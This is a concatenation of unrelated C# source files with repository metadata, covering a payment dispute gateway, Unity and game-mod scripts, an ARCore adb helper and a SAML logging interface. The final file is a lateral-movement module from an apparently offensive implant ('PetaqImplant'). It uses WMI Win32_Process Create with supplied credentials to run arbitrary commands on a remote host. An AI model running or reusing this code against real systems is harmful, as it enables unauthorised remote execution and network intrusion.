"/disputes/" + disputeId + "/accept"); return new ResultImpl<Dispute>(new NodeWrapper(disputeXML), Gateway); } catch (NotFoundException) { throw notFoundException; } } public virtual async Task<Result<Dispute>> AcceptAsync(string disputeId) { NotFoundException notFoundException = new NotFoundException($"dispute with id '{disputeId}' not found"); if (disputeId == null || disputeId.Trim().Equals("")) { throw notFoundException; } try { XmlNode disputeXML = await Service.PutAsync(Service.MerchantPath() + "/disputes/" + disputeId + "/accept").ConfigureAwait(false); return new ResultImpl<Dispute>(new NodeWrapper(disputeXML), Gateway); } catch (NotFoundException) { throw notFoundException; } } public virtual Result<DisputeEvidence> AddFileEvidence(string disputeId, FileEvidenceRequest request) { NotFoundException notFoundException = new NotFoundException($"dispute with id '{disputeId}' not found"); if (disputeId == null || disputeId.Trim().Equals("")) { throw notFoundException; } if (request.DocumentId == null || request.DocumentId.Trim().Equals("")) { throw new NotFoundException($"document with id '{request.DocumentId}' not found"); } try { XmlNode disputeEvidenceXML = Service.Post(Service.MerchantPath() + "/disputes/" + disputeId + "/evidence", request); return new ResultImpl<DisputeEvidence>(new NodeWrapper(disputeEvidenceXML), Gateway); } catch (NotFoundException) { throw notFoundException; } } public virtual Result<DisputeEvidence> AddFileEvidence(string disputeId, string documentUploadId) { return AddFileEvidence(disputeId, new FileEvidenceRequest { DocumentId = documentUploadId }); } public virtual async Task<Result<DisputeEvidence>> AddFileEvidenceAsync(string disputeId, FileEvidenceRequest request) { NotFoundException notFoundException = new NotFoundException($"dispute with id '{disputeId}' not found"); if (disputeId == null || disputeId.Trim().Equals("")) { throw notFoundException; } if (request.DocumentId == null || request.DocumentId.Trim().Equals("")) { throw new NotFoundException($"document with id '{request.DocumentId}' not found"); } try { XmlNode disputeEvidenceXML = await Service.PostAsync(Service.MerchantPath() + "/disputes/" + disputeId + "/evidence", request).ConfigureAwait(false); return new ResultImpl<DisputeEvidence>(new NodeWrapper(disputeEvidenceXML), Gateway); } catch (NotFoundException) { throw notFoundException; } } public virtual async Task<Result<DisputeEvidence>> AddFileEvidenceAsync(string disputeId, string documentUploadId) { return await AddFileEvidenceAsync(disputeId, new FileEvidenceRequest { DocumentId = documentUploadId }).ConfigureAwait(false); } public virtual Result<DisputeEvidence> AddTextEvidence(string disputeId, string content) { TextEvidenceRequest textEvidenceRequest = new TextEvidenceRequest { Content = content }; return AddTextEvidence(disputeId, textEvidenceRequest); } public virtual Result<DisputeEvidence> AddTextEvidence(string disputeId, TextEvidenceRequest textEvidenceRequest) { NotFoundException notFoundException = new NotFoundException($"Dispute with ID '{disputeId}' not found"); if (disputeId == null || disputeId.Trim().Equals("")) { throw notFoundException; } if (textEvidenceRequest.Content == null || textEvidenceRequest.Content.Trim().Equals("")) { throw new ArgumentException("Content cannot be empty"); } int temp; if (textEvidenceRequest.SequenceNumber != null && !int.TryParse(textEvidenceRequest.SequenceNumber, out temp)) { throw new ArgumentException("SequenceNumber must be an integer"); } try { XmlNode disputeEvidenceXML = Service.Post(Service.MerchantPath() + "/disputes/" + disputeId + "/evidence", textEvidenceRequest); return new ResultImpl<DisputeEvidence>(new NodeWrapper(disputeEvidenceXML), Gateway); } catch (NotFoundException) { throw notFoundException; } } public virtual async Task<Result<DisputeEvidence>> AddTextEvidenceAsync(string disputeId, string content) { TextEvidenceRequest textEvidenceRequest = new TextEvidenceRequest { Content = content }; return await AddTextEvidenceAsync(disputeId, textEvidenceRequest).ConfigureAwait(false); } public virtual async Task<Result<DisputeEvidence>> AddTextEvidenceAsync(string disputeId, TextEvidenceRequest textEvidenceRequest) { NotFoundException notFoundException = new NotFoundException($"Dispute with ID '{disputeId}' not found"); if (disputeId == null || disputeId.Trim().Equals("")) { throw notFoundException; } if (textEvidenceRequest.Content == null || textEvidenceRequest.Content.Trim().Equals("")) { throw new ArgumentException("Content cannot be empty"); } int temp; if (textEvidenceRequest.SequenceNumber != null && !int.TryParse(textEvidenceRequest.SequenceNumber, out temp)) { throw new ArgumentException("SequenceNumber must be an integer"); } try { XmlNode disputeEvidenceXML = await Service.PostAsync(Service.MerchantPath() + "/disputes/" + disputeId + "/evidence", textEvidenceRequest).ConfigureAwait(false); return new ResultImpl<DisputeEvidence>(new NodeWrapper(disputeEvidenceXML), Gateway); } catch (NotFoundException) { throw notFoundException; } } public virtual Result<Dispute> Finalize(string disputeId) { NotFoundException notFoundException = new NotFoundException($"dispute with id '{disputeId}' not found"); if (disputeId == null || disputeId.Trim().Equals("")) { throw notFoundException; } try { XmlNode disputeXML = Service.Put(Service.MerchantPath() + "/disputes/" + disputeId + "/finalize"); return new ResultImpl<Dispute>(new NodeWrapper(disputeXML), Gateway); } catch (NotFoundException) { throw notFoundException; } } public virtual async Task<Result<Dispute>> FinalizeAsync(string disputeId) { NotFoundException notFoundException = new NotFoundException($"dispute with id '{disputeId}' not found"); if (disputeId == null || disputeId.Trim().Equals("")) { throw notFoundException; } try { XmlNode disputeXML = await Service.PutAsync(Service.MerchantPath() + "/disputes/" + disputeId + "/finalize").ConfigureAwait(false); return new ResultImpl<Dispute>(new NodeWrapper(disputeXML), Gateway); } catch (NotFoundException) { throw notFoundException; } } public virtual Result<Dispute> Find(string disputeId) { NotFoundException notFoundException = new NotFoundException($"dispute with id '{disputeId}' not found"); if (disputeId == null || disputeId.Trim().Equals("")) { throw notFoundException; } try { XmlNode disputeXML = Service.Get(Service.MerchantPath() + "/disputes/" + disputeId); return new ResultImpl<Dispute>(new NodeWrapper(disputeXML), Gateway); } catch (NotFoundException) { throw notFoundException; } } public virtual async Task<Result<Dispute>> FindAsync(string disputeId) { NotFoundException notFoundException = new NotFoundException($"dispute with id '{disputeId}' not found"); if (disputeId == null || disputeId.Trim().Equals("")) { throw notFoundException; } try { XmlNode disputeXML = await Service.GetAsync(Service.MerchantPath() + "/disputes/" + disputeId).ConfigureAwait(false); return new ResultImpl<Dispute>(new NodeWrapper(disputeXML), Gateway); } catch (NotFoundException) { throw notFoundException; } } public virtual Result<Dispute> RemoveEvidence(string disputeId, string evidenceId) { NotFoundException notFoundException = new NotFoundException( $"evidence with id '{evidenceId}' for dispute with id '{disputeId}' not found"); if (disputeId == null || disputeId.Trim().Equals("") || evidenceId == null || evidenceId.Trim().Equals("")) { throw notFoundException; } try { XmlNode disputeXML = Service.Delete(Service.MerchantPath() + "/disputes/" + disputeId + "/evidence/" + evidenceId); return new ResultImpl<Dispute>(new NodeWrapper(disputeXML), Gateway); } catch (NotFoundException) { throw notFoundException; } } public virtual async Task<Result<Dispute>> RemoveEvidenceAsync(string disputeId, string evidenceId) { NotFoundException notFoundException = new NotFoundException( $"evidence with id '{evidenceId}' for dispute with id '{disputeId}' not found"); if (disputeId == null || disputeId.Trim().Equals("") || evidenceId == null || evidenceId.Trim().Equals("")) { throw notFoundException; } try { XmlNode disputeXML = await Service.DeleteAsync(Service.MerchantPath() + "/disputes/" + disputeId + "/evidence/" + evidenceId).ConfigureAwait(false); return new ResultImpl<Dispute>(new NodeWrapper(disputeXML), Gateway); } catch (NotFoundException) { throw notFoundException; } } public virtual PaginatedCollection<Dispute> Search(DisputeSearchRequest request) { DisputeSearch = request; return new PaginatedCollection<Dispute>(FetchDisputes); } private PaginatedResult<Dispute> FetchDisputes(int page) { DisputeSearchRequest request = DisputeSearch; XmlNode disputeXML = Service.Post(Service.MerchantPath() + "/disputes/advanced_search?page=" + page, request); var nodeWrapper = new NodeWrapper(disputeXML); var totalItems = nodeWrapper.GetInteger("total-items").Value; var pageSize = nodeWrapper.GetInteger("page-size").Value; var disputes = new List<Dispute>(); foreach (var node in nodeWrapper.GetList("dispute")) { disputes.Add(new Dispute(node)); } return new PaginatedResult<Dispute>(totalItems, pageSize, disputes); } } }
39.600583
177
0.594493
[ "MIT" ]
MSIH/braintree_dotnet
src/Braintree/DisputeGateway.cs
13,583
C#
using System.Collections; using System.Collections.Generic; using UnityEngine; public class ManaMaskScript : MonoBehaviour { // Use this for initialization void Start () { } // Update is called once per frame void Update () { } }
14.529412
45
0.704453
[ "MIT" ]
budmonde/6.073_p2
Assets/Scripts/ManaMask.cs
249
C#
#region using System; using DeadlyWeapons2.DFunctions; using Rage; using Rage.Native; #endregion namespace DeadlyWeapons2.Modules { internal class PlayerShot { private GameFiber _playerShotFiber; private Ped Player => Game.LocalPlayer.Character; internal void StartEvent() { _playerShotFiber = new GameFiber(delegate { while (true) { PlayerShotEvent(); GameFiber.Yield(); } }); Game.LogTrivial("DeadlyWeapons: Starting PlayerShotFiber."); _playerShotFiber.Start(); } private void PlayerShotEvent() { foreach (var w in WeaponHashs.WeaponHashes) if (NativeFunction.Natives.HAS_ENTITY_BEEN_DAMAGED_BY_WEAPON<bool>(Player, (uint) w, 0) && Settings.EnableDamageSystem) { try { var rnd = new Random().Next(1, 5); if (Player.Armor < 5) { Game.LogTrivial("Deadly Weapons: Player shot, chose: 0 - " + rnd); switch (rnd) { case 1: Player.Health = 5; break; case 2: Player.Kill(); break; case 3: Player.Health -= 40; break; case 4: Player.Health -= 50; SimpleFunctions.Ragdoll(Player); break; } } if (Player.Armor >= 5) { Game.LogTrivial("Deadly Weapons: Player shot, chose: 1 - " + rnd); switch (rnd) { case 1: Player.Armor = 0; break; case 2: Player.Health -= 45; Player.Armor = 0; SimpleFunctions.Ragdoll(Player); break; case 3: Player.Armor -= 35; break; case 4: Player.Armor -= 45; break; } } NativeFunction.Natives.CLEAR_ENTITY_LAST_WEAPON_DAMAGE(Player); } catch (Exception e) { Game.LogTrivial("Oops there was an error here. Please send this log to https://discord.gg/xsdAXJb"); Game.LogTrivial("Deadly Weapons Error Report Start"); Game.LogTrivial("======================================================"); Game.LogTrivial(e.ToString()); Game.LogTrivial("======================================================"); Game.LogTrivial("Deadly Weapons Error Report End"); } } } } }
37.3
124
0.329491
[ "Apache-2.0" ]
Variapolis/SuperPlugins
DeadlyWeapons2/Modules/PlayerShot.cs
3,730
C#
//----------------------------------------------------------------------- // <copyright file="ShellHelper.cs" company="Google"> // // Copyright 2018 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // </copyright> //----------------------------------------------------------------------- namespace GoogleARCoreInternal { using System.IO; using System.Text; using UnityEngine; #if UNITY_EDITOR using UnityEditor; #endif /// <summary> /// Misc helper methods for running shell commands. /// </summary> public static class ShellHelper { /// <summary> /// Run a shell command. /// </summary> /// <param name="fileName">File name for the executable.</param> /// <param name="arguments">Command line arguments, space delimited.</param> /// <param name="output">Filled out with the result as printed to stdout.</param> /// <param name="error">Filled out with the result as printed to stderr.</param> public static void RunCommand( string fileName, string arguments, out string output, out string error) { using (var process = new System.Diagnostics.Process()) { var startInfo = new System.Diagnostics.ProcessStartInfo(fileName, arguments); startInfo.UseShellExecute = false; startInfo.RedirectStandardError = true; startInfo.RedirectStandardOutput = true; startInfo.CreateNoWindow = true; process.StartInfo = startInfo; var outputBuilder = new StringBuilder(); var errorBuilder = new StringBuilder(); process.OutputDataReceived += (sender, ef) => outputBuilder.AppendLine(ef.Data); process.ErrorDataReceived += (sender, ef) => errorBuilder.AppendLine(ef.Data); process.Start(); process.BeginOutputReadLine(); process.BeginErrorReadLine(); process.WaitForExit(); process.Close(); // Trims the output strings to make comparison easier. output = outputBuilder.ToString().Trim(); error = errorBuilder.ToString().Trim(); } } /// <summary> /// Gets the path to adb in the Android SDK defined in the Unity Editor preferences. /// </summary> /// <remarks> /// This function only works while in the Unity editor and returns null otherwise. /// </remarks> /// <returns> String that contains the path to adb that the Unity editor uses. </returns> public static string GetAdbPath() { string sdkRoot = null; #if UNITY_EDITOR // Gets adb path and starts instant preview server. sdkRoot = EditorPrefs.GetString("AndroidSdkRoot"); #endif // UNITY_EDITOR if (string.IsNullOrEmpty(sdkRoot)) { return null; } // Gets adb path from known directory. var adbPath = Path.Combine(Path.GetFullPath(sdkRoot), Path.Combine("platform-tools", GetAdbFileName())); return adbPath; } /// <summary> /// Returns adb's executable name based on platform. /// On macOS this function will return "adb" and on Windows it will return "adb.exe". /// </summary> /// <returns> Returns adb's executable name based on platform. public static string GetAdbFileName() { var adbName = "adb"; if (Application.platform == RuntimePlatform.WindowsEditor) { adbName = Path.ChangeExtension(adbName, "exe"); } return adbName; } } }
38.282051
98
0.561063
[ "Apache-2.0" ]
Akazz-L/food-analyzer-AR
Assets/GoogleARCore/SDK/Scripts/Utility/ShellHelper.cs
4,479
C#
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace dk.nita.saml20.Logging { /// <summary> /// Defines the behaviour of an audit logger that logs an audit trail /// </summary> public interface IAuditLogger { /// <summary> /// Logs the record /// </summary> /// <param name="dir">The direction</param> /// <param name="op">The operation</param> /// <param name="msg">The message to log</param> /// <param name="data">Extra data to log</param> /// <param name="userHostAddress">The ip adress of the user</param> /// <param name="idpId">The id of the idp</param> /// <param name="assertionId">The id of the assertion</param> /// <param name="sessionId">The id of the session</param> void LogEntry(Direction dir, Operation op, string msg, string data, string userHostAddress, string idpId, string assertionId, string sessionId); } }
36.851852
152
0.627136
[ "Apache-2.0" ]
nz-govt-moe-skysigal/nz.govt.moe.idp.saml.client.asp.net
_Extra/dk.nita.saml20/Logging/IAuditLogger.cs
997
C#
using Ship; using SubPhases; using System; using System.Collections; using System.Collections.Generic; using Tokens; using UnityEngine; using Abilities; using ActionsList; using BoardTools; using RuleSets; namespace Ship { namespace SheathipedeShuttle { public class FennRau : SheathipedeShuttle, ISecondEditionPilot { public FennRau() : base() { PilotName = "Fenn Rau"; PilotSkill = 9; Cost = 20; IsUnique = true; PrintedUpgradeIcons.Add(Upgrade.UpgradeType.Elite); PilotAbilities.Add(new FennRauRebelAbility()); } public void AdaptPilotToSecondEdition() { PilotSkill = 6; Cost = 52; } } } } namespace Abilities { public class FennRauRebelAbility : GenericAbility { private GenericShip affectedShip; public override void ActivateAbility() { GenericShip.OnCombatActivationGlobal += CheckAbility; Phases.Events.OnRoundEnd += RemoveFennRauPilotAbility; } public override void DeactivateAbility() { GenericShip.OnCombatActivationGlobal -= CheckAbility; } private void CheckAbility(GenericShip activatedShip) { if (activatedShip.Owner.PlayerNo == HostShip.Owner.PlayerNo) return; if (HostShip.Tokens.HasToken(typeof(StressToken))) return; ShotInfo shotInfo = new ShotInfo(HostShip, activatedShip, HostShip.PrimaryWeapon); if (!shotInfo.InArc || shotInfo.Range > 3) return; RegisterAbilityTrigger(TriggerTypes.OnCombatActivation, AskAbility); } private void AskAbility(object sender, System.EventArgs e) { Messages.ShowInfo("Fenn Rau can use his ability"); AskToUseAbility(AlwaysUseByDefault, UseAbility, DontUseAbility); } private void UseAbility(object sender, System.EventArgs e) { if (!HostShip.Tokens.HasToken(typeof(StressToken))) { Messages.ShowInfoToHuman("Fenn Rau: Ability was used"); HostShip.Tokens.AssignToken(typeof(StressToken), AssignConditionToActivatedShip); } else { Messages.ShowErrorToHuman("Fenn Rau: Cannot use ability - already has stress"); Triggers.FinishTrigger(); } } private void DontUseAbility(object sender, System.EventArgs e) { Messages.ShowInfoToHuman("Fenn Rau: Ability was not used"); DecisionSubPhase.ConfirmDecision(); } private void AssignConditionToActivatedShip() { affectedShip = Selection.ThisShip; affectedShip.OnTryAddAvailableDiceModification += UseFennRauRestriction; affectedShip.Tokens.AssignCondition(typeof(Conditions.FennRauRebelCondition)); DecisionSubPhase.ConfirmDecision(); } private void UseFennRauRestriction(GenericShip ship, GenericAction action, ref bool canBeUsed) { if (Combat.Attacker == affectedShip && action.DiceModificationTiming != DiceModificationTimingType.Opposite && action.TokensSpend.Count > 0) { Messages.ShowErrorToHuman("Fenn Rau: Cannot use dice modification\n" + action.Name); canBeUsed = false; } } private void RemoveFennRauPilotAbility() { if (affectedShip != null) { affectedShip.OnTryAddAvailableDiceModification -= UseFennRauRestriction; affectedShip.Tokens.RemoveCondition(typeof(Conditions.FennRauRebelCondition)); affectedShip = null; } } } } namespace Conditions { public class FennRauRebelCondition : GenericToken { public FennRauRebelCondition(GenericShip host) : base(host) { Name = "Debuff Token"; Temporary = false; Tooltip = new Ship.SheathipedeShuttle.FennRau().ImageUrl; } } }
30.207143
152
0.604635
[ "MIT" ]
rpraska/FlyCasual
Assets/Scripts/Model/Ships/Sheathipede-class Shuttle/FennRau.cs
4,231
C#
using System; using System.Text; using System.Linq; using System.Management; using System.Collections.Generic; namespace PetaqImplant { public class LateralMovementWMI : LateralMovement { public LateralMovementWMI() { } public override bool Execute() { // get connection options from System.Management ConnectionOptions options = new ConnectionOptions(); // check the username and password if (! coptions.ContainsKey("host") && coptions.ContainsKey("command")) { Console.WriteLine("Missing host or command parameters."); return false; } // define a scope for management ManagementScope scope; if (coptions.ContainsKey("username")) { // set parameters options.Username = coptions["domainuser"]; options.Password = coptions["password"]; // define a scope for management scope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", coptions["host"]), options); } else { // define a scope for management scope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", coptions["host"])); } try { // connect to the scope scope.Connect(); // use Win32_Process for now, implement other in "technique" var win32_Process = new ManagementClass(scope, new ManagementPath("Win32_Process"), new ObjectGetOptions()); // get parameters for Create method in Win32_Process ManagementBaseObject parameters = win32_Process.GetMethodParameters("Create"); // set the command for the Commandline in Win32_Process PropertyDataCollection properties = parameters.Properties; parameters["CommandLine"] = coptions["command"]; // invoke the Create method ManagementBaseObject output = win32_Process.InvokeMethod("Create", parameters, null); Console.WriteLine("Win32_Process Create Output: " + output["returnValue"].ToString()); return true; } catch (Exception e) { Console.WriteLine("Lateral Movement Exception:" + e.Message); } return false; } //public bool Query() //{ // // get connection options from System.Management // ConnectionOptions options = new ConnectionOptions(); // // check the username and password // if (! coptions.ContainsKey("domainuser") && coptions.ContainsKey("password") // && coptions.ContainsKey("host") && coptions.ContainsKey("query")) // { // Console.WriteLine("Missing WMI query parameters."); // return false; // } // // set parameters // options.Username = coptions["domainuser"]; // options.Password = coptions["password"]; // SelectQuery query = new SelectQuery(Encoding.UTF8.GetString(Convert.FromBase64String(coptions["query"]))); // // define a scope for management // ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\root\\cimv2", coptions["host"]), options); // try // { // // connect to the scope // scope.Connect(); // // get a new management object searcher // ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query); // //execute the query // ManagementObjectCollection results = searcher.Get(); // if (results.Count <= 0) // { // Console.WriteLine(results); // } // else // { // Console.WriteLine("No results."); // foreach (ManagementObject r in results) // { // // print results // r.Get(); // PropertyDataCollection rproperties = r.Properties; // Console.WriteLine("Result:\n{0}", rproperties); // //foreach (var rp in rproperties) // //{ // // Console.WriteLine("Property:{0}\tValue:{1}", rp.Key, rp.Value); // //} // } // } // return true; // } // catch (Exception e) // { // Console.WriteLine("Lateral Movement Exception:" + e.Message); // } // return false; //} } }
36.116788
124
0.50384
[ "MIT" ]
MichaelKoczwara/petaqc2
petaqimplant/LateralMovementWMI.cs
4,950
C#